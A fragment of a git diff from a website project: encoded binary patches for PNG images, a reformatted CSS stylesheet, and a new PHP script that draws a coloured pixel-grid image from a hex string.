zux6A6Qw+u6Z?gam>}U}00EdV94e)>uQ};)-ln&IeMVq4wi{K)$Q#p&U4fQs%y&8?# zn5>@LzVX|^h`YW;TU)!RXt$#ex&RAX!X;Mn4fxOrsW1!bQ7MZM42y7><**2)un5p( zO?Of?4;51%^1!i!C9tyyzuT*Pn@I`lxx?$e9W1}g`@v(#3r{3CoW^V1#%~wu(P~~Lx`0>3TySy4<-x^ zMU2iyJjul79NAFA0-*%VkO++64(@Qtu<*d;AOIs<48{;U{#Gdtyv~e^ro_r>O)QVv z%)ITJj^--7Qs%sjwrE6Y-Sfd(2D>Kr;NUg_D9)ViUK94Ha&e|{m_A|iSA@E{6Ni%RvXda3ZCF# zpD?u>O=Ai;5cdELG4#|X6jv~0#lqkXYkbi~>5y~vBU z3yf!dihyH^5DKD@*svx5hWFUMt*N=K+fK|2ltqio_}IYhpu@drII#_jaAeE<2*%n> zGo%DtA>D~;Le~A%C#~He#@*fx-r_y34cJXm}4uqN=nBEWQh(kYt~b3#|SqeR z;0sW7PH&!4PIXRzzTV)#39D{btzJ(PYpWO~lANH(KYDMl#tfYx400?C)9}(ebZq1{ z52q{^_2LNK4J$bI3BN@e*}V(i;0@N72^PHwtsM&bVB^Hv0Kj{SW#wwKIH0Spd2S9= z0rzATWl(mvR9dE*)dWart!j)$04=%*!T>wQ{?dvjTo@I#z$++>K+lY@3l26KCvD8b zEDV{T2%UiDijWJMEAA~?YXVU3nW(|c7*3~vT&Q6F2}9TmBYz4RwU)B{+gdgcceacC z4r?|h#=;N{(J;w^g9--aRJ~x7&YcdsFb&3FyA))_B(4uyDDe~jTSY7k8c)vr+3~+U z*))rlSgGtKZwZ$$fMz?hD3wxT|CT=QPCv@eum%mE5Xbo3qWr+~?f&xzZ!1Gz^u%!V z8Gh|d-`y1t@KL|9Q{SHE&AwRA3tE3{U9WZZ>eyp1_HV9rU8ImLs`hMu$!;(2fPR(y zY)9MB8N`}sNq@<%o#t^24d{Do{BUf2spErhwv1>ATi>|0|oNx-4UP@6rFM-clA62Qkc?m8~R3k~9G}+5iER!!wS~?|H6$!$GSsX@O*f8S5 zib*hLL6Bd(Nt0HoN|g##({SP9>HZS{ZmPt1^Ws_Ms;`s6Y}u^6&bG+YxTyN1Rt>DG z@~X;{9R1d$>362eZ!H}^erXa*atxV8bjZ{Z=kv!bUOe8bF2m&9|vt6A3xFpi@jb>kxCGg2EuX zhmsCR=!Bl$bXx@#OiVfEm~;qQZ>y=$0mn3I;&IQt?U=brn}&3;Zya3~iRvnT=n=;h zNuKM?H{gN`uriMdM5VXpYHF~$CK)5)9sn+ctR6}nAdDYOHnhw`5Je;rHOWv^k;N8Y zjB&;qZ_M#39(@E7z#)bE{>?~@L`t%I1oSQfFSwQ=mr#wSsaF-0lw> z;s+gcPAMfEYC3yooN>|-$3%jP`eYFr?Hg;B?RK(Mupl>lE8u|XdagrDYr2F42Z{w? z+GZtOxLAjam5>F88@;E230b)6lBBxj_S;g@nQWj=UhAwEam0zm-ElfW)jWgfyEmIx zU3)j2WK3C5+kn0P`%d7vIudd&n^;)bA3yVHz#mEuOM2<1pFXUf2(7| z62$5u+;GGdKdh1pC;?RC#}M0263s2OG$~74COaK^?6Jq1aTY0Mk!>F7lqvztGta9< zprPI6Y~G_-ad{>l%t(hQ7=e!yu}1)ssPh6YMfMgWr$r1?Wagqa+Kd{~$uCdMDb=)kn9Q<@1@a3&Zu zg$6k&01tvtgd{AN2~jvMtH7;=FKmd-a5lrZ)G&V_!Qmuyh!Ipwr$JUr%o`Wz#s*Ny zNu`MiDPj?e3HEV<;y?#zs^T7IFasK$63BMuvB(t4Y$9HnQ5bO+3mbx@hLse|{)mSP zM}(v!)M-E*Hx|mq5M~$<6lG~(k_|;Hf{zr8MKX>Nj|6xs9;71GXvzg2MlNzYTJgy} z-u`C{hJ+Cs);LBfE_tU*+5|wNaK$1pqQ;GUaxoDglp8mO%~Ea*N`z5lNqUis43Hol zd(0y#K6AoA>VqEqkcKo^FpLwTu$Spz$1mYFm4+097;}RLF=W`3J8=#p2Ev3UGC>%x zoFfD2xI|z)X-QOeb8Di!XgAff$d`y?5z=sg0MZ$gd0b^XS0Ml~4uc4J)RU3!@k$5S z=M$Rt6QFd<#w=Er41*pF6}~uyB#QElVQ9`1vnWR+l2MmC0fvp2?5RNk1FCRHvNh7s z#Z<0>qK&?!RpS_dNYmMiaJ)_+^dvP4?dkuju!G*e>a zbQa0%UO`XM2~iZ|be*siO|mhJ1UaWJ2J&fCrFxuWydxa6BL+U;kqu(dG?Bdw2mm|2 CjuH<5 literal 0 HcmV?d00001 diff --git a/images/main/style.css b/images/main/style.css index 2e3fa24..67759d4 100644 --- a/images/main/style.css +++ b/images/main/style.css @@ -4,21 +4,89 @@ /* Center Button */ /* Effect For Button */ -.effect70 {filter: alpha(opacity=70); -moz-opacity: .70; opacity: .70;} -.effect80 {filter: alpha(opacity=80); -moz-opacity: .80; opacity: .80;} +.effect70 { + filter: alpha(opacity=70); + -moz-opacity: .70; + opacity: .70; +} + +.effect80 { + filter: alpha(opacity=80); + -moz-opacity: .80; + opacity: .80; +} /* Style Text */ -.main1 {font-family: Verdana,Arial, Helvetica, sans-serif; color: #a0a0a0; font-size: 11px; font-weight: bold;} -.main2 {font-family: Verdana,Arial, Helvetica, sans-serif; color: #a0a0a0; font-size: 10px; font-weight: bold;} -.main3 {font-family: Verdana,Arial, Helvetica, sans-serif; color: #ffffff; font-size: 10px; font-weight: normal;} +.main1 { + font-family: Verdana, Arial, Helvetica, sans-serif; + color: #a0a0a0; + font-size: 11px; + font-weight: bold; +} + +.main2 { + font-family: Verdana, Arial, Helvetica, sans-serif; + color: #a0a0a0; + font-size: 10px; + font-weight: bold; + display: inline-block; + width: 50%; +} + +.main3 { + font-family: Verdana, Arial, Helvetica, sans-serif; + color: #ffffff; + font-size: 10px; + font-weight: normal; +} /* Table Border */ -.maintl {background:url('p_t_l.png'); width: 5px; height: 5px;} -.maintc {background:url('p_t_c.png'); width: 5px; height: 5px;} -.maintr {background:url('p_t_r.png'); width: 5px; height: 5px;} -.maincl {background:url('p_c_l.png'); width: 5px;} -.mainc {background:url('p_c.png'); width: 183px;} -.maincr {background:url('p_c_r.png'); width: 5px;} -.mainbl {background:url('p_b_l.png'); width: 5px; height: 5px;} -.mainbc {background:url('p_b_c.png'); width: 5px; height: 5px;} -.mainbr {background:url('p_b_r.png'); width: 5px; height: 5px;} \ No newline at end of file +.maintl { + background: url('p_t_l.png'); + width: 5px; + height: 5px; +} + +.maintc { + background: url('p_t_c.png'); + width: 183px; + height: 5px; +} + +.maintr { + background: url('p_t_r.png'); + width: 5px; + height: 5px; +} + +.maincl { + background: url('p_c_l.png'); + width: 5px; +} + +.mainc { + background: url('p_c.png'); + width: 183px; +} + +.maincr { + background: url('p_c_r.png'); + width: 5px; +} + +.mainbl { + background: url('p_b_l.png'); + width: 5px; + height: 5px; +} + +.mainbc { + background: url('p_b_c.png'); + height: 5px; +} + +.mainbr { + background: url('p_b_r.png'); + width: 5px; + height: 5px; +} \ No newline at end of file diff --git a/images/mark.php b/images/mark.php new file mode 100644 index 0000000..f1a6b91 --- /dev/null +++ b/images/mark.php @@ -0,0 +1,57 @@ + array('250', '250', '250', '127'), + '1' => array('0', '0', '0', '0'), + '2' => array('128', '128', '128', '0'), + '3' => array('255', '255', '255', '0'), + '4' => array('255', '0', '0', '0'), + '5' => array('255', '128', '0', '0'), + '6' => array('255', '255', '0', '0'), + '7' => array('128', '255', '0', '0'), + '8' => array('0', '255', '0', '0'), + '9' => array('0', '255', '128', '0'), + 'a' => array('0', '255', '255', '0'), + 'b' => array('0', '128', '255', '0'), + 'c' => array('0', '0', '255', '0'), + 'd' => array('128', '0', '255', '0'), + 'e' => array('255', '0', '255', '0'), + 'f' => array('255', '0', '128', '0'), +); + +for ($y = 0; $y < ROW_COUNT; $y++) { + for ($x = 0; $x < ROW_COUNT; $x++) { + $offset = ($y * ROW_COUNT) + $x; + + $c = $colorData[substr($hex, $offset, 1)]; + + $row[$x] = $x * $pixelSize; + $row[$y] = $y * $pixelSize; + $row2[$x] = $row[$x] + $pixelSize; + $row2[$y] = $row[$y] + $pixelSize; + $color[$y][$x] = ImageColorAllocateAlpha($img, $c[0], $c[1], $c[2], $c[3]); + ImageFilleDrectangle($img, $row[$x], $row[$y], $row2[$x], $row2[$y], $color[$y][$x]); + } +} + +imagepng($img); +imagedestroy($img); diff --git a/images/mmw-top-banner.png b/images/mmw-top-banner.png new file mode 100644 index 0000000000000000000000000000000000000000..53eaa259a8f3b22436fefad8eb45af2f76232626 GIT binary patch literal 27956 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 